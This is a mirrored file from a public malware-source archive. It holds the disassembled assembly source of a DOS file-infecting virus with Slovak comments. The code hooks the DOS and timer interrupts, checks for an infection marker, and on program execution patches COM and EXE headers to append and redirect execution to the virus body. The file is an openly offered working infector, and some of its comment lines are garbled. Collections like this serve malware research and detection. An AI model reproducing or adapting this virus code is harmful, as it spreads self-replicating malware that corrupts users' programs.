mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
1195 lines
28 KiB
NASM
1195 lines
28 KiB
NASM
|
MCB_type equ 0
|
|||
|
MCB_owner equ 1
|
|||
|
MCB_size equ 3
|
|||
|
data_3e equ 12h
|
|||
|
data_4e equ 0
|
|||
|
data_5e equ 2
|
|||
|
data_6e equ 4
|
|||
|
data_7e equ 6
|
|||
|
data_8e equ 8
|
|||
|
data_9e equ 0Ah
|
|||
|
data_12e equ 0Eh
|
|||
|
data_13e equ 10h
|
|||
|
data_14e equ 11h
|
|||
|
data_15e equ 12h
|
|||
|
data_16e equ 18h
|
|||
|
data_17e equ 1Ah
|
|||
|
data_18e equ 1Ch
|
|||
|
data_19e equ 1Eh
|
|||
|
data_20e equ 20h
|
|||
|
old_21 equ 2Ah
|
|||
|
data_22e equ 2Eh
|
|||
|
data_23e equ 30h
|
|||
|
data_24e equ 32h
|
|||
|
data_25e equ 34h
|
|||
|
old_1c equ 36h
|
|||
|
data_27e equ 3Ah
|
|||
|
data_28e equ 3Ch
|
|||
|
data_29e equ 3Eh
|
|||
|
data_30e equ 56h
|
|||
|
data_31e equ 58h
|
|||
|
data_32e equ 5Ah
|
|||
|
data_33e equ 5Bh
|
|||
|
data_34e equ 5Ch
|
|||
|
data_35e equ 5Dh
|
|||
|
data_36e equ 5Eh
|
|||
|
data_37e equ 5Fh
|
|||
|
data_38e equ 62h
|
|||
|
data_39e equ 66h
|
|||
|
data_40e equ 68h
|
|||
|
|
|||
|
newcom segment byte
|
|||
|
assume cs:newcom, ds:newcom
|
|||
|
|
|||
|
org 100h
|
|||
|
|
|||
|
start: jmp start_virus
|
|||
|
old_program: mov ah,9
|
|||
|
int 21h ;Display char string at DS:DX
|
|||
|
mov ax,4C00h
|
|||
|
int 21h ;Terminate with al=return code
|
|||
|
db 0,0,0,0,0,0
|
|||
|
db 8,0
|
|||
|
db 92 dup (0)
|
|||
|
text db 'Hello virus !$'
|
|||
|
|
|||
|
; ----------------------------------------------------------------------------
|
|||
|
; Tu zacina zamotne telo virusu (Offset 180h)
|
|||
|
; ----------------------------------------------------------------------------
|
|||
|
db 0, 0
|
|||
|
|
|||
|
run label byte
|
|||
|
db 0F4h, 7Ah, 2Ch, 0
|
|||
|
db 0, 0, 7Eh, 0, 0BEh
|
|||
|
db 0Ah
|
|||
|
|
|||
|
old_bytes: mov dx,170h ;Povodny program 20h byte
|
|||
|
mov ah,9
|
|||
|
int 21h
|
|||
|
mov ax,4C00h
|
|||
|
int 21h
|
|||
|
db 20 dup (0)
|
|||
|
|
|||
|
db 97h, 0Ch, 0B5h, 7, 97h, 0Ch
|
|||
|
db 0B5h, 7, 56h, 1, 0F5h, 6
|
|||
|
db 53h, 0FFh, 0, 0F0h, 5, 0
|
|||
|
db 0F6h, 5Ah, 74h, 17h, 0DEh,0
|
|||
|
db 6Ah, 0, 2Eh, 83h, 3Eh, 0C8h
|
|||
|
db 6, 5Ch, 7, 70h, 0, 2Eh
|
|||
|
db 83h, 3Eh, 0C8h, 6, 5Ch, 7
|
|||
|
db 70h, 0
|
|||
|
|
|||
|
loc_1: add [bx+si],ax
|
|||
|
and [bx+di],al
|
|||
|
add [bx+di],al
|
|||
|
add [bx+si],al
|
|||
|
mov al,1
|
|||
|
add [bx+si],al
|
|||
|
adc [bx+si],al
|
|||
|
add [bx+di],al
|
|||
|
add [bp+si],al
|
|||
|
mov [bx+si],ax
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub_1: mov ax,[si]
|
|||
|
sub ax,0BBh
|
|||
|
jc loc_3 ;Jump if carry Set
|
|||
|
cmp ax,8
|
|||
|
nop
|
|||
|
jc loc_3 ;Jump if carry Set
|
|||
|
|
|||
|
loc_2: mov [si],ax
|
|||
|
retn
|
|||
|
|
|||
|
loc_3: mov ax,9
|
|||
|
jmp short loc_2 ;(01F7)
|
|||
|
|
|||
|
; ------------------------------------------------------------------------
|
|||
|
; New Timer interrupt
|
|||
|
; ------------------------------------------------------------------------
|
|||
|
new_1c: inc cs:timer_count
|
|||
|
jmp dword ptr cs:old_1c
|
|||
|
|
|||
|
; ------------------------------------------------------------------------
|
|||
|
nutena_1: jmp dword ptr cs:old_21
|
|||
|
loc_iret: jmp dword ptr ds:old_21 ;A odtial na vir_in_memory
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_2: mov ah,40h ;'@'
|
|||
|
jmp short loc_4 ;(0218)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_3: mov ah,3Fh ;'?'
|
|||
|
loc_4: call sub_6 ;(0224)
|
|||
|
jc loc_ret_5 ;Jump if carry Set
|
|||
|
cmp ax,cx
|
|||
|
|
|||
|
loc_ret_5: retn
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub_4: xor al,al ;Zero register
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_5: mov ah,42h ;'B'
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_6: mov bx,cs:data_27e ;(8002:003A=0)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_7: int 21h ;DOS Services ah=function 45h
|
|||
|
; duplicate handle bx, ax=new #
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub_8: push bx
|
|||
|
push ax
|
|||
|
mov bx,cs:data_27e ;(8002:003A=0)
|
|||
|
mov ah,45h ;'E'
|
|||
|
call sub_7 ;(0229)
|
|||
|
jc loc_6 ;Jump if carry Set
|
|||
|
mov bx,ax
|
|||
|
mov ah,3Eh ;'>'
|
|||
|
call sub_7 ;(0229)
|
|||
|
jmp short loc_7 ;(0244)
|
|||
|
loc_6: clc ;Clear carry flag
|
|||
|
loc_7: pop ax
|
|||
|
pop bx
|
|||
|
retn
|
|||
|
|
|||
|
db 0B0h, 3, 0CFh
|
|||
|
loc_8: mov ax,1
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
inc sp
|
|||
|
inc sp
|
|||
|
sti ;Enable interrupts
|
|||
|
stc ;Set carry flag
|
|||
|
retf 2 ;Return far
|
|||
|
loc_9: mov ax,2Ch
|
|||
|
jmp short loc_12 ;(0297)
|
|||
|
loc_10: mov al,cs:data_37e ;(8002:005F=0)
|
|||
|
xor ah,ah ;Zero register
|
|||
|
jmp short loc_12 ;(0297)
|
|||
|
loc_11: mov cs:data_37e,cl ;(8002:005F=0)
|
|||
|
jmp short loc_12 ;(0297)
|
|||
|
|
|||
|
; ---------------------------------------------------------------------------
|
|||
|
; New DOS interrupt
|
|||
|
; ---------------------------------------------------------------------------
|
|||
|
new_21: pushf ;Push flags
|
|||
|
cmp ah,4Bh ;Exec ?
|
|||
|
je DOS_exec
|
|||
|
cmp ah,4Ch ;Exit ?
|
|||
|
je DOS_exit
|
|||
|
cmp ah,8 ;Standart input to AL ?
|
|||
|
je DOS_input
|
|||
|
|
|||
|
cmp ah,0C5h ;Virus fun
|
|||
|
je loc_12
|
|||
|
cmp ax,0C545h ;Virus fun
|
|||
|
je loc_9
|
|||
|
cmp ax,0C607h ;Virus fun
|
|||
|
je loc_10
|
|||
|
cmp ax,0C602h ;Virus fun
|
|||
|
je loc_11
|
|||
|
cmp ax,0C603h ;Virus fun
|
|||
|
je loc_8
|
|||
|
popf ;Pop flags
|
|||
|
jmp DOS_return
|
|||
|
|
|||
|
loc_12: popf ;Pop flags
|
|||
|
sti ;Enable interrupts
|
|||
|
stc ;Set carry flag
|
|||
|
retf 2 ;Return far
|
|||
|
|
|||
|
DOS_input: jmp DOS_input_
|
|||
|
|
|||
|
DOS_exit: cmp byte ptr cs:data_58,2 ;(8002:0C16=0)
|
|||
|
jne loc_15 ;Jump if not equal
|
|||
|
mov byte ptr cs:data_49,6Fh ;(8002:0BF6=0) 'o'
|
|||
|
nop
|
|||
|
mov byte ptr cs:data_59,1 ;(8002:0C17=0)
|
|||
|
nop
|
|||
|
loc_15:
|
|||
|
cmp byte ptr cs:data_59,1 ;(8002:0C17=0)
|
|||
|
jne loc_16 ;Jump if not equal
|
|||
|
cmp al,0
|
|||
|
jne loc_16 ;Jump if not equal
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push es
|
|||
|
push ds
|
|||
|
call sub_16 ;(0A60)
|
|||
|
call sub_17 ;(0A7A)
|
|||
|
call sub_18 ;(0AB0)
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
mov byte ptr cs:data_58,0 ;(8002:0C16=0)
|
|||
|
nop
|
|||
|
mov byte ptr cs:data_59,0 ;(8002:0C17=0)
|
|||
|
nop
|
|||
|
loc_16:
|
|||
|
popf ;Pop flags
|
|||
|
jmp DOS_return
|
|||
|
|
|||
|
DOS_exec: push ax ;Backup AX
|
|||
|
xor al,al
|
|||
|
xchg al,cs:data_34e ;(8002:005C=0)
|
|||
|
or al,al ;Zero ?
|
|||
|
pop ax ;Restore AX
|
|||
|
jnz DOS_exec_
|
|||
|
popf
|
|||
|
jmp DOS_return
|
|||
|
|
|||
|
DOS_exec_: push es ;Backup 9x register
|
|||
|
push ds
|
|||
|
push bp
|
|||
|
push di
|
|||
|
push si
|
|||
|
push dx
|
|||
|
push cx
|
|||
|
push bx
|
|||
|
push ax
|
|||
|
mov bp,sp
|
|||
|
cli ;Disable interrupts
|
|||
|
mov bx,21h
|
|||
|
|
|||
|
; shl bx,2
|
|||
|
db 0c1h,0e3h,2 ;Original byte for prev. instr
|
|||
|
mov ax,0
|
|||
|
mov es,ax
|
|||
|
mov ax,cs:[30h]
|
|||
|
mov es:[bx+2],ax
|
|||
|
mov ax,cs:[2eh]
|
|||
|
mov es:[bx],ax
|
|||
|
sti
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
cmp byte ptr ds:[5ah],0
|
|||
|
je loc_18
|
|||
|
jmp loc_36
|
|||
|
|
|||
|
loc_18: inc byte ptr ds:data_36e ;(8002:005E=0)
|
|||
|
push word ptr ss:data_12e[bp] ; (8002:000E=0)
|
|||
|
push word ptr ss:data_7e[bp] ;(8002:0006=0)
|
|||
|
call sub_9 ;(0605)
|
|||
|
lahf ;Load ah from flags
|
|||
|
add sp,4
|
|||
|
sahf ;Store ah into flags
|
|||
|
jnc loc_19 ;Jump if carry=0
|
|||
|
jmp loc_36 ;(05B4)
|
|||
|
loc_19:
|
|||
|
xor cx,cx ;Zero register
|
|||
|
xor dx,dx ;Zero register
|
|||
|
call sub_4 ;(0220)
|
|||
|
mov dx,0Ah
|
|||
|
mov cx,14h
|
|||
|
call sub_3 ;(0216)
|
|||
|
jc loc_21 ;Jump if carry Set
|
|||
|
mov ax,ds:data_18e ;(8002:001C=0)
|
|||
|
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax
|
|||
|
call sub_4 ;(0220)
|
|||
|
mov dx,0
|
|||
|
mov cx,2Ah
|
|||
|
call sub_3 ;(0216)
|
|||
|
jc loc_23 ;Jump if carry Set
|
|||
|
cmp word ptr ds:data_4e,7AF4h ; (8002:0000=0)
|
|||
|
jne loc_23 ;Jump if not equal
|
|||
|
mov ax,2Ch
|
|||
|
cmp byte ptr [bp],0
|
|||
|
jne loc_20 ;Jump if not equal
|
|||
|
test byte ptr ds:data_37e,2 ;(8002:005F=0)
|
|||
|
dec di
|
|||
|
db 6Eh
|
|||
|
loc_20:
|
|||
|
inc ax
|
|||
|
cmp ds:data_5e,ax ;(8002:0002=0)
|
|||
|
jae loc_21 ;Jump if above or =
|
|||
|
xor cx,cx ;Zero register
|
|||
|
xor dx,dx ;Zero register
|
|||
|
call sub_4 ;(0220)
|
|||
|
mov dx,0Ah
|
|||
|
mov cx,20h
|
|||
|
call sub_2 ;(0212)
|
|||
|
jc loc_21 ;Jump if carry Set
|
|||
|
call sub_8 ;(022C)
|
|||
|
jnc loc_22 ;Jump if carry=0
|
|||
|
loc_21:
|
|||
|
jmp loc_35 ;(05A5)
|
|||
|
loc_22:
|
|||
|
mov cx,ds:data_6e ;(8002:0004=0)
|
|||
|
mov dx,ds:data_7e ;(8002:0006=0)
|
|||
|
call sub_4 ;(0220)
|
|||
|
xor cx,cx ;Zero register
|
|||
|
call sub_2 ;(0212)
|
|||
|
jc loc_21 ;Jump if carry Set
|
|||
|
call sub_8 ;(022C)
|
|||
|
jc loc_21 ;Jump if carry Set
|
|||
|
jmp short loc_19 ;(0344)
|
|||
|
loc_23:
|
|||
|
mov al,2
|
|||
|
mov cx,0FFFFh
|
|||
|
mov dx,0FFF8h
|
|||
|
call sub_5 ;(0222)
|
|||
|
mov dx,0Ah
|
|||
|
mov cx,8
|
|||
|
call sub_3 ;(0216)
|
|||
|
jc loc_24 ;Jump if carry Set
|
|||
|
cmp word ptr ds:data_12e,7AF4h ; (8002:000E=0)
|
|||
|
je loc_25 ;Jump if equal
|
|||
|
jmp short loc_28 ;(043C)
|
|||
|
loc_24:
|
|||
|
jmp loc_35 ;(05A5)
|
|||
|
loc_25:
|
|||
|
cmp byte ptr ds:data_13e,23h ; (8002:0010=0) '#'
|
|||
|
jae loc_24 ;Jump if above or =
|
|||
|
mov cl,ds:data_14e ;(8002:0011=0)
|
|||
|
mov ax,ds:data_9e ;(8002:000A=0)
|
|||
|
mov ds:data_7e,ax ;(8002:0006=0)
|
|||
|
mov ax,word ptr ds:data_9e+2 ; (8002:000C=0)
|
|||
|
sub ax,103h
|
|||
|
mov word ptr ds:data_9e+1,ax ; (8002:000B=0)
|
|||
|
cmp byte ptr ds:data_13e,9 ;(8002:0010=0)
|
|||
|
ja loc_26 ;Jump if above
|
|||
|
mov cl,0E9h
|
|||
|
loc_26:
|
|||
|
mov ds:data_9e,cl ;(8002:000A=0)
|
|||
|
xor cx,cx ;Zero register
|
|||
|
mov dx,cx
|
|||
|
call sub_4 ;(0220)
|
|||
|
mov dx,0Ah
|
|||
|
mov cx,3
|
|||
|
call sub_2 ;(0212)
|
|||
|
jc loc_24 ;Jump if carry Set
|
|||
|
call sub_8 ;(022C)
|
|||
|
jc loc_24 ;Jump if carry Set
|
|||
|
xor cx,cx ;Zero register
|
|||
|
mov dx,ds:data_7e ;(8002:0006=0)
|
|||
|
call sub_4 ;(0220)
|
|||
|
xor cx,cx ;Zero register
|
|||
|
call sub_2 ;(0212)
|
|||
|
jc loc_27 ;Jump if carry Set
|
|||
|
call sub_8 ;(022C)
|
|||
|
jc loc_27 ;Jump if carry Set
|
|||
|
jmp short loc_23 ;(03C1)
|
|||
|
loc_27:
|
|||
|
jmp loc_35 ;(05A5)
|
|||
|
loc_28:
|
|||
|
mov word ptr ds:data_4e,7AF4h ; (8002:0000=0)
|
|||
|
mov word ptr ds:data_5e,2Ch ;(8002:0002=0)
|
|||
|
mov word ptr ds:data_8e,0ABEh ; (8002:0008=0)
|
|||
|
cmp byte ptr [bp],0
|
|||
|
jne loc_27 ;Jump if not equal
|
|||
|
test byte ptr ds:data_37e,1 ;(8002:005F=0)
|
|||
|
jz loc_27 ;Jump if zero
|
|||
|
mov al,2
|
|||
|
xor cx,cx ;Zero register
|
|||
|
mov dx,cx
|
|||
|
call sub_5 ;(0222)
|
|||
|
mov ds:data_6e,dx ;(8002:0004=0)
|
|||
|
mov ds:data_7e,ax ;(8002:0006=0)
|
|||
|
xor cx,cx ;Zero register
|
|||
|
mov dx,cx
|
|||
|
call sub_4 ;(0220)
|
|||
|
mov dx,0Ah
|
|||
|
mov cx,20h
|
|||
|
call sub_3 ;(0216)
|
|||
|
jc loc_27 ;Jump if carry Set
|
|||
|
cmp word ptr ds:data_9e,5A4Dh ; (8002:000A=0)
|
|||
|
je loc_29 ;Jump if equal
|
|||
|
cmp word ptr ds:data_9e,4D5Ah ; (8002:000A=0)
|
|||
|
jne loc_31 ;Jump if not equal
|
|||
|
loc_29:
|
|||
|
mov byte ptr ds:data_33e,0 ;(8002:005B=0)
|
|||
|
mov ax,ds:data_12e ;(8002:000E=0)
|
|||
|
mul word ptr ds:data_39e ;(8002:0066=0) ax = data * ax
|
|||
|
sub ax,ds:data_7e ;(8002:0006=0)
|
|||
|
sbb dx,ds:data_6e ;(8002:0004=0)
|
|||
|
jc loc_30 ;Jump if carry Set
|
|||
|
mov ax,ds:data_16e ;(8002:0018=0)
|
|||
|
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
|
|||
|
add ax,ds:data_17e ;(8002:001A=0)
|
|||
|
mov cx,dx
|
|||
|
mov bx,ax
|
|||
|
mov ax,ds:data_15e ;(8002:0012=0)
|
|||
|
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
|
|||
|
mov di,ds:data_6e ;(8002:0004=0)
|
|||
|
mov si,ds:data_7e ;(8002:0006=0)
|
|||
|
add si,0Fh
|
|||
|
adc di,0
|
|||
|
and si,0FFF0h
|
|||
|
sub si,ax
|
|||
|
sbb di,dx
|
|||
|
mov dx,cx
|
|||
|
mov ax,bx
|
|||
|
sub ax,si
|
|||
|
sbb dx,di
|
|||
|
jc loc_32 ;Jump if carry Set
|
|||
|
add si,0DC0h
|
|||
|
adc di,0
|
|||
|
sub bx,si
|
|||
|
sbb cx,di
|
|||
|
jnc loc_32 ;Jump if carry=0
|
|||
|
loc_30:
|
|||
|
jmp loc_35 ;(05A5)
|
|||
|
loc_31:
|
|||
|
mov byte ptr ds:data_33e,1 ;(8002:005B=0)
|
|||
|
cmp word ptr ds:data_6e,0 ;(8002:0004=0)
|
|||
|
jne loc_30 ;Jump if not equal
|
|||
|
cmp word ptr ds:data_7e,20h ;(8002:0006=0)
|
|||
|
jbe loc_30 ;Jump if below or =
|
|||
|
cmp word ptr ds:data_7e,0F277h ; (8002:0006=0)
|
|||
|
jae loc_30 ;Jump if above or =
|
|||
|
loc_32:
|
|||
|
mov cx,ds:data_6e ;(8002:0004=0)
|
|||
|
mov dx,ds:data_7e ;(8002:0006=0)
|
|||
|
add dx,0Fh
|
|||
|
adc cx,0
|
|||
|
and dx,0FFF0h
|
|||
|
call sub_4 ;(0220)
|
|||
|
xor dx,dx ;Zero register
|
|||
|
mov cx,0BE5h
|
|||
|
push word ptr ds:data_37e ;(8002:005F=0)
|
|||
|
mov byte ptr ds:data_37e,1 ;(8002:005F=0)
|
|||
|
call sub_2 ;(0212)
|
|||
|
pop cx
|
|||
|
mov ds:data_37e,cl ;(8002:005F=0)
|
|||
|
jc loc_30 ;Jump if carry Set
|
|||
|
call sub_8 ;(022C)
|
|||
|
jc loc_30 ;Jump if carry Set
|
|||
|
mov dx,ds:data_6e ;(8002:0004=0)
|
|||
|
mov ax,ds:data_7e ;(8002:0006=0)
|
|||
|
add ax,0Fh
|
|||
|
adc dx,0
|
|||
|
and ax,0FFF0h
|
|||
|
div word ptr ds:data_38e ;(8002:0062=0) ax,dxrem=dx:ax/data
|
|||
|
mov ds:data_18e,ax ;(8002:001C=0)
|
|||
|
cmp byte ptr ds:data_33e,0 ;(8002:005B=0)
|
|||
|
je loc_33 ;Jump if equal
|
|||
|
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
|
|||
|
mov byte ptr ds:data_9e,0E9h ; (8002:000A=0)
|
|||
|
add ax,557h
|
|||
|
mov word ptr ds:data_9e+1,ax ; (8002:000B=0)
